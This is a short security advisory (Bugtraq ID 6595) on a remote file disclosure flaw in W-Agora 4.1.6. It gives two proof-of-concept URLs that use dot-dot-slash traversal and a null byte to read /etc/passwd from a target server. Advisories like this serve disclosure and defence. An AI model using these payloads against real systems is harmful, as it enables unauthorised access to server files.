BID:6595

W-Agora Remote File Disclosure Vulnerability

Info

W-Agora Remote File Disclosure Vulnerability

Bugtraq ID:	6595
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 13 2003 12:00AM
Updated:	Jan 13 2003 12:00AM
Credit:	Discovery of this vulnerability credited to [email protected].
Vulnerable:	W-Agora W-Agora 4.1.6

Not Vulnerable:

Discussion

W-Agora Remote File Disclosure Vulnerability

A file disclosure vulnerability has been reported for W-Agora. It has been reported that W-Agora does not adequately sanitize some user-supplied input.

An attacker can construct a URL consisting of dot-dot-slash (../) character sequences to obtain access to files outside of the document root. It should be noted that only files accessible by the web server will be disclosed to the attacker.

Exploit / POC

W-Agora Remote File Disclosure Vulnerability

The following proof of concepts were provided:

http://target/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
http://target/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1

Solution / Fix

W-Agora Remote File Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

W-Agora Remote File Disclosure Vulnerability

References: